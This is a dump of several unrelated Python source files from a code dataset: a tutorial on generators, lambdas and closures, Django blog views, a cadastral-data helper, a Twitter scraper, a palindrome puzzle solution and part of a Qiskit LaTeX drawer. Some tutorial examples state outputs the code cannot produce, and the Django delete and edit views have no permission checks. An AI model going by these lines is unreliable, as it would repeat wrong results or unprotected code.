generator.\n\nthe_list = [1 if x % 2 == 0 else 0 for x in range(100000000)] # takes about 4 seconds # get them all !!\nthe_generator = (1 if x % 2 == 0 else 0 for x in range(100000000)) # takes 0 seconds # get them when we need them! one by one\n\nfor v in the_list:\n print(v, end=\" \")\nprint()\n\nfor v in the_generator:\n print(v, end=\" \")\nprint()\n\n# 1 0 1 0 1 0 1 0 1 0 \n# 1 0 1 0 1 0 1 0 1 0 \n\n\n# len(the_list) will evaluate to 10. Clear and predictable. \n# len(the_generator) will raise an exception, and you will see the following message:\n# TypeError: object of type 'generator' has no len()\n# -------------------------------------\n# Of course, saving either the list or the generator is not necessary \n# - you can create them exactly in the place where you need them - just like here:\n\nfor v in [1 if x % 2 == 0 else 0 for x in range(10)]: # LIST\n print(v, end=\" \")\nprint()\n\nfor v in (1 if x % 2 == 0 else 0 for x in range(10)): # GENERATOR\n print(v, end=\" \")\nprint()\n\n# Note: the same appearance of the output doesn't mean that both loops work in the same way. \n# In the first loop, the list is created (and iterated through) as a whole - \n# it actually exists when the loop is being executed.\n# In the second loop, there is no list at all - \n# there are only subsequent values produced by the generator, one by one.\n\n\n# -------------------------------------\n\n# The lambda function\n\n# A lambda function is a function without a name \n# (you can also call it an anonymous function). \n# Of course, such a statement immediately raises the question: \n# how do you use anything that cannot be identified?\n# Fortunately, it's not a problem, as you can name such a function if you really need, \n# but, in fact, in many cases the lambda function can exist and work while remaining fully incognito.\n# lambda parameters: expression\n# Such a clause returns the value of the expression when taking into account the current value of the current lambda argument.\n\n\ntwo = lambda: 2\nsqr = lambda x: x * x\npwr = lambda x, y: x ** y\n\nfor a in range(-2, 3):\n print(sqr(a), end=\" \")\n print(pwr(a, two()))\n\n# the first lambda is an anonymous parameterless function that always returns 2. \n# As we've assigned it to a variable named two, we can say that the function is not anonymous anymore, \n# and we can use the name to invoke it.\n\n# the second one is a one-parameter anonymous function that returns the value of its squared argument. \n# We've named it as such, too.\n\n# the third lambda takes two parameters and returns the value of the first one raised to the power of the second one. \n# The name of the variable which carries the lambda speaks for itself. We don't use pow to avoid confusion with the built-in function of the same name and the same purpose.\n\n# 4 4\n# 1 1\n# 0 0\n# 1 1\n# 4 4\n\n# -------------------------------------\ndef print_function(fun, args):\n for x in args:\n print('f(', x,')=', fun(x), sep='')\n\n\ndef poly(x):\n return 2 * x**2 - 4 * x + 2\n\n\nprint_function(poly, [x for x in range(-2, 3)]) # passing the function as an argument\n\n# f(-2)=18\n# f(-1)=8\n# f(0)=2\n# f(1)=0\n# f(2)=2\n\n# -------------------------------------\ndef print_function(fun, args):\n for x in args:\n print('f(', x,')=', fun(x), sep='')\n\nprint_function(lambda x: 2 * x**2 - 4 * x + 2, [x for x in range(-2, 3)])\n\n\n# f(-2)=18\n# f(-1)=8\n# f(0)=2\n# f(1)=0\n# f(2)=2\n\n# -------------------------------------\nlambda x: 2 * x**2 - 4 * x + 2\n# The code has become shorter, clearer, and more legible.\n\n\n# -------------------------------------\n# Lambdas and the map() function\n# In the simplest of all possible cases, the map() function:\n\nmap(function, list)\n\nlist_1 = [x for x in range(5)]\nlist_2 = list(map(lambda b: 2 ** b, list_1)) # use list or generator as 2nd arg\nprint(list_2) # [1, 2, 4, 8, 16]\n\nfor x in map(lambda b: b * b, list_2): # use list or generator as 2nd arg\n print(x, end=' ') # 1 4 16 64 256 \nprint()\n\n\n# -------------------------------------\n# the second map() argument may be any entity that can be iterated (e.g., a tuple, or just a generator)\n# map() can accept more than two arguments.\n\n# The map() function applies the function passed by its first argument to all its second argument's elements,\n# and returns an iterator delivering all subsequent function results.\n\n\n# -------------------------------------\n# Lambdas and the filter() function\n\n# It expects the same kind of arguments as map(), but does something different - \n# it filters its second argument while being guided by directions flowing from the function \n# specified as the first argument (the function is invoked for each list element, just like in map()).\n# The elements which return True from the function pass the filter - the others are rejected.\n\n# Note: we've made use of the random module to initialize the random number generator \n# (not to be confused with the generators we've just talked about) with the seed() function, \n# and to produce five random integer values from -10 to 10 using the randint() function.\n\nfrom random import seed, randint\n\nseed()\ndata = [randint(-10,10) for x in range(5)]\nfiltered = list(filter(lambda x: x > 0 and x % 2 == 0, data)) # filters positive even numbers\n\nprint(data)\nprint(filtered)\n\n# [8, -5, 5, -2, 8]\n# [8, 8]\n\n\n# -------------------------------------\n# A brief look at closures (closures are used in decorators)\n\n# Let's start with a definition: \n# closure is a technique which allows the storing of values in spite of the fact that the context \n# in which they have been created does not exist anymore. Intricate? A bit.\n\ndef outer(par):\n loc = par\n\n def inner():\n return loc\n return inner\n\n\nvar = 1\nfun = outer(var)\nprint(fun())\n\n# The last two lines will cause a NameError exception - neither par nor loc is accessible outside the function. Both the variables exist when and only when the outer() function is being executed.\n\n# Look carefully:\n\n# the inner() function returns the value of the variable accessible inside its scope, \n# as inner() can use any of the entities at the disposal of outer()\n# the outer() function returns the inner() function itself; more precisely, \n# it returns a copy of the inner() function, the one which was frozen at the moment \n# of outer()'s invocation; the frozen function contains its full environment, \n# including the state of all local variables, which also means that the value of \n# loc is successfully retained, although outer() ceased to exist a long time ago.\ndef outer(par):\n loc = par\n\n def inner():\n return loc\n return inner\n\n\nvar = 1\nfun = outer(var)\nprint(fun())\n\n# 1\n# The function returned during the outer() invocation is a closure.\n\n\n# -------------------------------------\n# A closure has to be invoked in exactly the same way in which it has been declared.\n\n\ndef make_closure(par):\n loc = par\n\n def power(p):\n return p ** loc\n return power\n\n\nfsqr = make_closure(2) # squared\nfcub = make_closure(3) # cubed \n\nfor i in range(5):\n print(i, fsqr(i), fcub(i))\n\n# 0 0 0\n# 1 1 1\n# 2 4 8\n# 3 9 27\n# 4 16 64\n\n# -------------------------------------\ndef outer(par):\n loc = par\n\n def inner():\n return loc\n return inner\n\n\nvar = 1\nfun = outer(var)\nprint(fun())\n\n# the inner() function is parameterless, so we have to invoke it without arguments.\n# Now look at the code in the editor. \n# It is fully possible to declare a closure equipped with an arbitrary number of parameters, \n# e.g., one, just like the power() function.\n\n# This means that the closure not only makes use of the frozen environment, \n# but it can also modify its behavior by using values taken from the outside.\n\n# This example shows one more interesting circumstance - \n# you can create as many closures as you want using one and the same piece of code. \n# This is done with a function named make_closure(). Note:\n# the first closure obtained from make_closure() defines a tool squaring its argument;\n# the second one is designed to cube the argument.\n# This is why the code produces the following output:\n\n# 0 0 0\n# 1 1 1\n# 2 4 8\n# 3 9 27\n# 4 16 64\n\n\n\n# -------------------------------------\n# 1. An iterator is an object of a class providing at least two methods \n# (not counting the constructor!):\n\n# __iter__() is invoked once when the iterator is created and returns the iterator's object itself;\n# __next__() is invoked to provide the next iteration's value and raises \n# the StopIteration exception when the iteration comes to and end.\n\n# -------------------------------------\n# 2. The yield statement can be used only inside functions. \n# The yield statement suspends function execution and causes the function \n# to return the yield's argument as a result. \n# Such a function cannot be invoked in a regular way – \n# its only purpose is to be used as a generator \n# (i.e. in a context that requires a series of values, like a for loop.)\n\n# -------------------------------------\n# 3. A conditional expression is an expression built using the if-else operator. For example:\n\nprint(True if 0 >=0 else False)\n# outputs True.\n\n# -------------------------------------\n# 4. A list comprehension becomes a generator when used inside parentheses \n# (used inside brackets, it produces a regular list). For example:\n\nfor x in (el * 2 for el in range(5)):\n print(x)\n\n# outputs 02468.\n# -------------------------------------\n# 4. A lambda function is a tool for creating anonymous functions. For example:\n\ndef foo(f, x):\n return f(x)\n\nprint(foo(lambda x: x ** 0.5), 9)\n\n\n# outputs 3.0.\n\n\n# -------------------------------------\n# 5. The map(fun, list) function creates a copy of a list argument, \n# and applies the fun function to all of its elements, \n# returning a generator that provides the new list content element by element. For example:\n\nshort_list = ['mython', 'python', 'fell', 'on', 'the', 'floor']\nnew_list = list(map(lambda s: s.title(), short_list))\nprint(new_list)\n\n# outputs ['Mython', 'Python', 'Fell', 'On', 'The', 'Floor'].\n# -------------------------------------\n# 6. The filter(fun, list) function creates a copy of those list elements, \n# which cause the fun function to return True. \n# The function's result is a generator providing the new list content element by element. \n# For example:\n\nshort_list = [1, \"Python\", -1, \"Monty\"]\nnew_list = list(filter(lambda s: isinstance(s, str), short_list))\nprint(new_list)\n\n\n# outputs ['Python', 'Monty'].\n\n\n# -------------------------------------\n# 7. A closure is a technique which allows the storing of values \n# in spite of the fact that the context in which they have been \n# created does not exist anymore. For example:\n\ndef tag(tg):\n tg2 = tg\n tg2 = tg[0] + '/' + tg[1:]\n\n def inner(str):\n return tg + str + tg2\n return inner\n\n\nb_tag = tag('')\nprint(b_tag('Monty Python'))\n\n\n# outputs Monty Python\n# -------------------------------------\n# Exercise 1\n\n# What is the expected output of the following code?\n\nclass Vowels:\n def __init__(self):\n self.vow = \"aeiouy \" \n self.pos = 0\n\n def __iter__(self):\n return self\n\n def __next__(self):\n if self.pos == len(self.vow):\n raise StopIteration\n self.pos += 1\n return self.vow[self.pos - 1]\n\n\nvowels = Vowels()\nfor v in vowels:\n print(v, end=' ')\n\n# a e i o u y\n\n\n# -------------------------------------\n# Write a lambda function, setting the least significant bit of its integer argument, \n# and apply it to the map() function to produce the string 1 3 3 5 on the console.\n\nany_list = [1, 2, 3, 4]\n# even_list = # Complete the line here.\neven_list = list(map(lambda n: n | 1, any_list))\n\nprint(even_list)\n\n\n# -------------------------------------\n# Exercise 3\n\n# What is the expected output of the following code?\n\ndef replace_spaces(replacement='*'):\n def new_replacement(text):\n return text.replace(' ', replacement)\n return new_replacement\n\n\nstars = replace_spaces()\nprint(stars(\"And Now for Something Completely Different\"))\n\n# And*Now*for*Something*Completely*Different\n\n# -------------------------------------\n# note: PEP 8, the Style Guide for Python Code, recommends that lambdas should not be assigned to variables, but rather they should be defined as functions.\n\n# This means that it is better to use a def statement, and avoid using an assignment statement that binds a lambda expression to an identifer. For example:\n\n# Recommended:\ndef f(x): return 3*x\n\n# Not recommended:\nf = lambda x: 3*x\n# Binding lambdas to identifiers generally duplicates the functionality of the def statement. Using def statements, on the other hand, generates more lines of code.","repo_name":"oreaba/pcap","sub_path":"4_miscelaneous/1_generators_closures.py","file_name":"1_generators_closures.py","file_ext":"py","file_size_in_byte":20990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35180437598","text":"from django.http import HttpResponse\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom django.utils import timezone\n\nfrom .models import Post\nfrom .forms import PostModelForm, PostForm\n\n# 글삭제\ndef post_remove(request, pk):\n post = Post.objects.get(pk=pk)\n post.delete()\n return redirect('post_list_home')\n\n# 글수정(ModelForm) 사용\ndef post_edit(request, pk):\n post = get_object_or_404(Post, pk=pk)\n if request.method == 'POST':\n form = PostModelForm(request.POST, instance=post)\n if form.is_valid():\n # form 객체의 save() 호출하면 Model 객체가 생성되어진다.\n post = form.save(commit=False)\n # 로그인된 username을 작성자(author)필드에 저장\n post.author = request.user\n # 현재날짜시간을 게시일자(published_date) 필드에 저장\n post.published_date = timezone.now()\n # post 객체가 저장되면서 insert 처리가 되어진다.\n post.save()\n # 등록 후에 상세페이지로 리다이렉션 처��하기\n return redirect('post_detail', pk=post.pk)\n else:\n form = PostModelForm(instance=post)\n return render(request, 'blog/post_edit.html', {'postform': form})\n\n# 글등록(Form) 사용\ndef post_new(request):\n if request.method == 'POST':\n form = PostForm(request.POST)\n if form.is_valid():\n # 검증을 통과한 입력 데이터\n print(form.cleaned_data)\n clean_data_dict = form.cleaned_data\n # create() 함수가 호출되면 등록처리가 이루어진다.\n post = Post.objects.create(\n author=request.user,\n title = clean_data_dict['title'],\n text=clean_data_dict['text'],\n published_date=timezone.now()\n )\n return redirect('post_detail', pk=post.pk)\n else:\n form = PostForm()\n return render(request, 'blog/post_edit.html', {'postform': form})\n\n# 글등록 (ModelForm 사용)\ndef post_new_modelform(request):\n if request.method == 'POST':\n # 등록을 요청하는 경우\n post_form = PostModelForm(request.POST)\n # 검증로직을 통과하면\n if post_form.is_valid():\n # form 객체의 save() 호출하면 Model 객체가 생성되어진다.\n post = post_form.save(commit=False)\n # 로그인된 username을 작성자(author)필드에 저장\n post.author = request.user\n # 현재날짜시간을 게시일자(published_date) 필드에 저장\n post.published_date = timezone.now()\n # post 객체가 저장되면서 insert 처리가 되어진다.\n post.save()\n # 등록 후에 상세페이지로 리다이렉션 처리하기\n return redirect('post_detail', pk=post.pk)\n else:\n # 등록을 위한 Form을 출력하는 경우\n post_form = PostModelForm()\n return render(request, 'blog/post_edit.html', {'postform': post_form})\n\n# 글상세정보\ndef post_detail(request,pk):\n post = get_object_or_404(Post, pk=pk)\n return render(request, 'blog/post_detail.html', {'post_key': post})\n\n# Views 내에 선언된 함수로 인자로 HttpRequest 라는 객체를 Django가 전달해준다.\n# 글목록\ndef post_list(request):\n my_name = '장고웹프레임워크'\n http_method = request.method\n\n # return HttpResponse('''\n #

Welcome {name}

\n #

Http Method : {method}

\n #

Http headers User-Agent : {header}

\n #

Http Path : {mypath}

\n # '''.format(name=my_name, method=http_method, header=request.headers['user-agent'], mypath=request.path))\n\n # return render(request, 'blog/post_list.html')\n posts = Post.objects.filter(published_date__lte=timezone.now()).order_by('-published_date')\n return render(request, 'blog/post_list.html', {'post_list': posts})","repo_name":"TheMatw/python_django_blogapp","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3983,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1195827702","text":"import requests\nimport io\nimport shapefile\nfrom shapely.geometry import Point\nfrom shapely.geometry.polygon import Polygon\nfrom pyproj import Transformer\nfrom geopy.geocoders import Nominatim\nimport zipfile\n\n\ndef get_cadastral_by_county(county):\n \"\"\"\n Get the cadastral data for a specific county\n \n Parameters:\n county (str): The name of the county\n \n Returns:\n ???: Property data\n \"\"\"\n \n zip_url = 'http://ftpgeoinfo.msl.mt.gov/Data/Spatial/MSDI/Cadastral/Parcels/{0}/{0}_SHP.zip'\n chunk_size = 128\n req = requests.get(zip_url.format(county),stream=True)\n zip_buffer = io.BytesIO()\n for chunk in req.iter_content(chunk_size=chunk_size):\n zip_buffer.write(chunk)\n req.close()\n #print(zip_url.format(county))\n \n zip_buffer.seek(0)\n zipshape = zipfile.ZipFile(zip_buffer)\n dbfname,shpname,shxname = ['{}_Parcels/{}_Parcels.{}'.format(county,county,ext) for ext in ['dbf','shp','shx']]\n shape = shapefile.Reader(shp=io.BytesIO(zipshape.read(shpname)),\n dbf=io.BytesIO(zipshape.read(dbfname)),\n shx=io.BytesIO(zipshape.read(shxname))\n )\n zip_buffer.close()\n \n return shape\n\n\ndef get_county(coord,lon=None):\n \"\"\"\n Determine the county from coordinates\n \n Parameters:\n coord (tuple,int): The coordinates or latitude of interest\n lon (int): The longitude of interest if only latitude was previously supplied\n \n Returns:\n str: The name of the county\n \"\"\"\n\n if lon is not None:\n coord = (coord,lon)\n \n geolocator = Nominatim(user_agent=\"ICC\")\n loc = geolocator.reverse('{},{}'.format(*coord))\n return loc.raw['address']['county'].replace('County','').strip().replace(' ','').replace('&','')\n\n\ndef check_point_in_shapes(coord,shapes):\n \"\"\"\n Check if a coordinate point is in any of the given shapes\n \n Parameters:\n coord (tuple): The coordinates of the point of interest\n shapes (list): A list of shapes to check\n \n Returns:\n tuple: The index of the shape in the list, the shape the coordinates are in(?)\n \"\"\"\n \n poi = Point(coord)\n i_con = containter = None\n for i,feature in enumerate(shapes.shapeRecords()):\n first = feature.shape.__geo_interface__\n coords = first['coordinates']\n while type(coords[0])==type([]):\n coords = coords[0]\n poly = Polygon(coords)\n if poly.contains(poi):\n i_con = i\n container = coords\n break\n return i_con,container\n\ndef get_transformers():\n \"\"\"\n Retrieves what is necessary to convert between units in MTSL data to lat/lon\n \n Parameters:\n None\n \n Returns:\n ???: The necessary transformers\n \"\"\"\n\n return Transformer.from_crs('NAD83 / Montana','epsg:4326'),Transformer.from_crs('epsg:4326','NAD83 / Montana')\n\ndef gen_owner_dict(i_con,shapes):\n \"\"\"\n Get specific property ownership data\n \n Parameters:\n i_con (int): Index of the property of interest\n shapes (??): The list of properties\n \n Returns:\n dict: Property ownership information\n \"\"\"\n \n return {key:val for key,val in zip([s[0] for s in shapes.fields[1:]],shapes.records()[i_con])}\n\n","repo_name":"jhphillips1029/IridiumCommand","sub_path":"widgets/Tracker/Cadastral.py","file_name":"Cadastral.py","file_ext":"py","file_size_in_byte":3281,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"4405446874","text":"from time import time\n\n\na = [1,2,3,4,5,6,7,8,9,10]\nstop = time()\ni = 0\n\ndef funct(num,a):\n for a1 in a:\n if a1 == num:\n return True\n return False\n\ndef trial(num,a):\n try:\n a.remove(num)\n except:\n return False\n a.append(num)\n return True\n\ncount = 0\nwhile i < 100000:\n start = time()\n val = funct(5,a) #fast\n val = 5 in a #fastest\n val = trial(5,a) #faster\n val = not all(a1 != 5 for a1 in a) #slowest\n if val:\n stop = time()\n count+=(stop - start)\n i += 1\nprint(count/100000)","repo_name":"EugeneMMF/AI","sub_path":"logic/newAI/testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14031334866","text":"import requests\nimport logging\nimport warnings\nimport json\nimport re\nimport time\nfrom bs4 import BeautifulSoup\n\n# Loggers and warning\nwarnings.filterwarnings(\"ignore\", category=UserWarning, module='bs4')\nf = open(\"user_tweets.csv\", \"w+\")\n\nunique_hashtag_counts = {}\ntotal_combined_tweets = 0\ndef crawl_a_user_tweets(username):\n global total_combined_tweets\n global unique_hashtag_counts\n print(\"Crawling: {}\".format(username))\n url = \"https://twitter.com/{}\".format(username)\n # constants\n headers = {\n 'upgrade-insecure-requests': \"1\",\n 'user-agent': \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36\",\n 'x-devtools-emulate-network-conditions-client-id': \"72AE4A1C66EE2A3EB91EE7AF6D32704F\",\n 'accept': \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\",\n 'referer': \"https://twitter.com/{}\".format(username),\n 'accept-encoding': \"gzip, deflate, br\",\n 'accept-language': \"en-GB,en-US;q=0.9,en;q=0.8\",\n 'cache-control': \"no-cache\",\n }\n response = requests.get(url, headers=headers)\n data = response.text\n cookies = response.cookies\n soup = BeautifulSoup(data)\n start_index = data.index('max-position=\"')\n end_index = data.index('\" d', start_index + 1)\n max_pos = data[start_index + 14: end_index]\n\n def save(username, handle, tweet_text, time_stamp):\n tweet_text = tweet_text.replace('\\n', \" \")\n data = \"{}|@|{}|@|{}|@|{}\\n\".format(\n username,\n handle,\n tweet_text,\n time_stamp\n )\n f.write(data)\n f.flush()\n hashtags = re.findall(r\"#(\\w+)\", tweet_text)\n for each in hashtags:\n unique_hashtag_counts[each] = unique_hashtag_counts.get(each, 0) + 1\n\n def normal_parse(soup):\n contents = soup.findAll('div', class_='content')\n for each_content in contents:\n try:\n username = each_content.find('strong', class_='fullname').contents[0]\n handle = each_content.find('a', class_='js-user-profile-link')['href']\n tweet_text = each_content.find('p', class_='tweet-text').text\n time_stamp = each_content.find('a', class_='tweet-timestamp')['title']\n save(username, handle, tweet_text, time_stamp)\n except Exception as e:\n pass\n\n return len(contents)\n\n total = normal_parse(soup)\n print(\"\\tTWEETS CRAWLED : {}\".format(total))\n if total > 0:\n header = {\n 'referer': url,\n 'accept': \"application/json, text/javascript, */*; q=0.01\",\n 'x-requested-with': \"XMLHttpRequest\",\n 'x-twitter-active-user': \"yes\",\n 'user-agent': \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36\",\n 'accept-encoding': \"gzip, deflate, br\",\n 'accept-language': \"en-GB,en-US;q=0.9,en;q=0.8\",\n 'user-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36'\n }\n while True:\n try:\n query_string = {\n \"include_available_features\": \"1\",\n \"include_entities\": \"1\",\n \"max_position\": max_pos,\n \"reset_error_state\":\"false\"\n }\n req = requests.get(\n 'https://twitter.com/i/profiles/show/{}/timeline/tweets'.format(username),\n params=query_string,\n headers=header,\n cookies=cookies\n )\n cur_data = json.loads(json.dumps(json.loads(req.content.decode('utf-8'))))\n\n cookies = req.cookies\n max_pos = cur_data['min_position']\n cur_total = normal_parse(\n BeautifulSoup(\n cur_data['items_html']\n .strip()\n .replace('\\n',' ')\n )\n )\n if cur_total == 0:\n print(\"BREAKING\")\n break\n total += cur_total\n print(\"\\tTWEETS CRAWLED : {}\".format(total))\n # print(\"\\tSleeping for: {}\".format(cur_data['new_latent_count']/100))\n # time.sleep(cur_data['new_latent_count']/10)\n except Exception as e:\n print(\"*\"*50)\n print(str(e))\n print(\"STOPPING\")\n print(\"*\"*50)\n break\n total_combined_tweets += total\n\nwith open(\"tweets.csv\") as data:\n content = data.read().split('\\n')\n\ncrawler_user_dict = {}\nfor row in content:\n attrs = row.split('|@|')\n if len(attrs) > 1:\n username = attrs[1]\n try:\n if username not in crawler_user_dict:\n crawler_user_dict[username] = True\n crawl_a_user_tweets(username)\n except Exception as e:\n print(e)\n\nprint(\"*\" * 100)\nprint(\"TOTAL UNIQUE USERNAME: {}\".format(len(crawler_user_dict)))\nprint(\"TOTAL TWEETS BY THESE USERS: {}\".format(total_combined_tweets))\nprint(unique_hashtag_counts)\nprint(\"*\" * 100)\n","repo_name":"archit0/twitter-crawler","sub_path":"crawl_user_tweets.py","file_name":"crawl_user_tweets.py","file_ext":"py","file_size_in_byte":5361,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23391601431","text":"import sys\nimport math\n\ndef is_palindrome(number):\n number_str = str(number)\n if len(number_str) == 1: return True\n middle_index = len(number_str)//2\n return number_str[:middle_index] == number_str[-middle_index:][::-1]\n\ndef find_palindromes(min, max):\n palindromes = []\n min = int(min)\n max = int(max)\n while min < 10 and min <= max:\n palindromes.append(str(min))\n min += 1\n min_str = str(min)\n max_str = str(max)\n left = min_str[:len(min_str)//2]\n # find the 1st palindrome:\n palindrome = left + ((min_str[(len(min_str)//2)]) if len(min_str)%2 == 1 else '') + left[::-1]\n while (int(palindrome) <= max):\n # the first palindrome may be < min:\n if int(palindrome) >= min: palindromes.append(palindrome)\n # find the next palindrome:\n left = palindrome[:len(palindrome)//2]\n if len(palindrome)%2 == 1: #odd number of digits\n middle = palindrome[len(palindrome)//2]\n if (int(middle) < 9):\n palindrome = left + str(int(middle)+1) + left[::-1]\n else:\n next_left = str(int(left) + 1)\n palindrome = next_left + ('0' if len(next_left) == len(left) else '') + next_left[::-1]\n else: #even number of digits\n next_left = str(int(left) + 1)\n palindrome = next_left + ('0' if len(next_left) != len(left) else '') + next_left[::-1]\n return [int(x) for x in palindromes]\n\ndef find_fair_and_square(min, max):\n min_root = math.sqrt(min)\n max_root = math.sqrt(max)\n root_palindromes = find_palindromes(min_root, max_root)\n #print(root_palindromes)\n fair_and_squares = []\n for palindrome in root_palindromes:\n palindrome_square = palindrome ** 2\n if is_palindrome(palindrome_square) and palindrome_square >= min and palindrome_square <= max:\n fair_and_squares.append(palindrome_square)\n return fair_and_squares\n\ndef main(input_file_name, output_file_name):\n input_file = open(input_file_name, 'rU')\n output_file = open(output_file_name, 'w')\n for i in range(int(input_file.readline())):\n min, max = (int(x) for x in input_file.readline().split())\n fair_squares = find_fair_and_square(min, max)\n output_file.write('Case #' + str(i+1) + ': ' + str(len(fair_squares)) + '\\n')\n input_file.close()\n output_file.close()\n\n\nif __name__ == '__main__':\n main(sys.argv[1], sys.argv[2])\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_118/1395.py","file_name":"1395.py","file_ext":"py","file_size_in_byte":2444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8811935939","text":"import collections\nimport io\nimport json\nimport math\nimport re\n\nimport numpy as np\nfrom qiskit.circuit.controlledgate import ControlledGate\nfrom qiskit.circuit.parameterexpression import ParameterExpression\nfrom qiskit.visualization import qcstyle as _qcstyle\nfrom qiskit.visualization import exceptions\nfrom qiskit.circuit.tools.pi_check import pi_check\nfrom .utils import generate_latex_label\n\n\nclass QCircuitImage:\n \"\"\"This class contains methods to create \\\\LaTeX circuit images.\n\n The class targets the \\\\LaTeX package Q-circuit\n (https://arxiv.org/pdf/quant-ph/0406003).\n\n Thanks to Eric Sabo for the initial implementation for Qiskit.\n \"\"\"\n\n def __init__(self, qubits, clbits, ops, scale, style=None,\n plot_barriers=True, reverse_bits=False, layout=None, initial_state=False,\n cregbundle=False, global_phase=None):\n \"\"\"QCircuitImage initializer.\n\n Args:\n qubits (list[Qubit]): list of qubits\n clbits (list[Clbit]): list of clbits\n ops (list[list[DAGNode]]): list of circuit instructions, grouped by layer\n scale (float): image scaling\n style (dict or str): dictionary of style or file name of style file\n reverse_bits (bool): When set to True reverse the bit order inside\n registers for the output visualization.\n plot_barriers (bool): Enable/disable drawing barriers in the output\n circuit. Defaults to True.\n layout (Layout or None): If present, the layout information will be\n included.\n initial_state (bool): Optional. Adds |0> in the beginning of the line. Default: `False`.\n cregbundle (bool): Optional. If set True bundle classical registers. Default: `False`.\n global_phase (float): Optional, the global phase for the circuit.\n Raises:\n ImportError: If pylatexenc is not installed\n \"\"\"\n # style sheet\n self._style = _qcstyle.BWStyle()\n if style:\n if isinstance(style, dict):\n self._style.set_style(style)\n elif isinstance(style, str):\n with open(style) as infile:\n dic = json.load(infile)\n self._style.set_style(dic)\n\n # list of lists corresponding to layers of the circuit\n self.ops = ops\n\n # image scaling\n self.scale = 0.7 if scale is None else scale\n\n # Map of qregs to sizes\n self.qregs = {}\n\n # Map of cregs to sizes\n self.cregs = {}\n\n # List of qregs and cregs in order of appearance in code and image\n self.ordered_regs = []\n\n # Map from registers to the list they appear in the image\n self.img_regs = {}\n\n # Array to hold the \\\\LaTeX commands to generate a circuit image.\n self._latex = []\n\n # Variable to hold image depth (width)\n self.img_depth = 0\n\n # Variable to hold image width (height)\n self.img_width = 0\n\n # Variable to hold total circuit depth\n self.sum_column_widths = 0\n\n # Variable to hold total circuit width\n self.sum_row_heights = 0\n\n # em points of separation between circuit columns\n self.column_separation = 1\n\n # em points of separation between circuit row\n self.row_separation = 0\n\n # presence of \"box\" or \"target\" determines row spacing\n self.has_box = False\n self.has_target = False\n self.reverse_bits = reverse_bits\n self.layout = layout\n self.initial_state = initial_state\n self.plot_barriers = plot_barriers\n\n #################################\n self.qregs = _get_register_specs(qubits)\n self.qubit_list = qubits\n self.ordered_regs = qubits + clbits\n self.cregs = _get_register_specs(clbits)\n self.clbit_list = clbits\n self.img_regs = {bit: ind for ind, bit in\n enumerate(self.ordered_regs)}\n if cregbundle:\n self.img_width = len(qubits) + len(self.cregs)\n else:\n self.img_width = len(self.img_regs)\n self.wire_type = {}\n for bit in self.ordered_regs:\n self.wire_type[bit] = bit.register in self.cregs.keys()\n self.cregbundle = cregbundle\n self.global_phase = global_phase\n\n def latex(self):\n \"\"\"Return LaTeX string representation of circuit.\n\n This method uses the LaTeX Qconfig package to create a graphical\n representation of the circuit.\n\n Returns:\n string: for writing to a LaTeX file.\n \"\"\"\n self._initialize_latex_array()\n self._build_latex_array()\n header_1 = r\"\"\"% \\documentclass[preview]{standalone}\n% If the image is too large to fit on this documentclass use\n\\documentclass[draft]{beamer}\n\"\"\"\n beamer_line = \"\\\\usepackage[size=custom,height=%d,width=%d,scale=%.1f]{beamerposter}\\n\"\n header_2 = r\"\"\"% instead and customize the height and width (in cm) to fit.\n% Large images may run out of memory quickly.\n% To fix this use the LuaLaTeX compiler, which dynamically\n% allocates memory.\n\\usepackage[braket, qm]{qcircuit}\n\\usepackage{amsmath}\n\\pdfmapfile{+sansmathaccent.map}\n% \\usepackage[landscape]{geometry}\n% Comment out the above line if using the beamer documentclass.\n\\begin{document}\n\"\"\"\n qcircuit_line = r\"\"\"\n\\begin{equation*}\n \\Qcircuit @C=%.1fem @R=%.1fem @!R {\n\"\"\"\n output = io.StringIO()\n output.write(header_1)\n output.write('%% img_width = %d, img_depth = %d\\n' % (self.img_width, self.img_depth))\n output.write(beamer_line % self._get_beamer_page())\n output.write(header_2)\n if self.global_phase:\n output.write(r\"\"\"\n{\\small Global Phase: $%s$}\"\"\" % pi_check(self.global_phase, output='latex'))\n output.write(qcircuit_line %\n (self.column_separation, self.row_separation))\n for i in range(self.img_width):\n output.write(\"\\t \\t\")\n for j in range(self.img_depth + 1):\n cell_str = self._latex[i][j]\n # Don't truncate offset float if drawing a barrier\n if 'barrier' in cell_str:\n output.write(cell_str)\n else:\n # floats can cause \"Dimension too large\" latex error in\n # xymatrix this truncates floats to avoid issue.\n cell_str = re.sub(r'[-+]?\\d*\\.\\d{2,}|\\d{2,}',\n _truncate_float,\n cell_str)\n output.write(cell_str)\n if j != self.img_depth:\n output.write(\" & \")\n else:\n output.write(r'\\\\' + '\\n')\n output.write('\\t }\\n')\n output.write('\\\\end{equation*}\\n\\n')\n output.write('\\\\end{document}')\n contents = output.getvalue()\n output.close()\n return contents\n\n def _initialize_latex_array(self):\n self.img_depth, self.sum_column_widths = self._get_image_depth()\n self.sum_row_heights = self.img_width\n # choose the most compact row spacing, while not squashing them\n if self.has_box:\n self.row_separation = 0.0\n elif self.has_target:\n self.row_separation = 0.2\n else:\n self.row_separation = 1.0\n self._latex = [\n [\"\\\\cw\" if 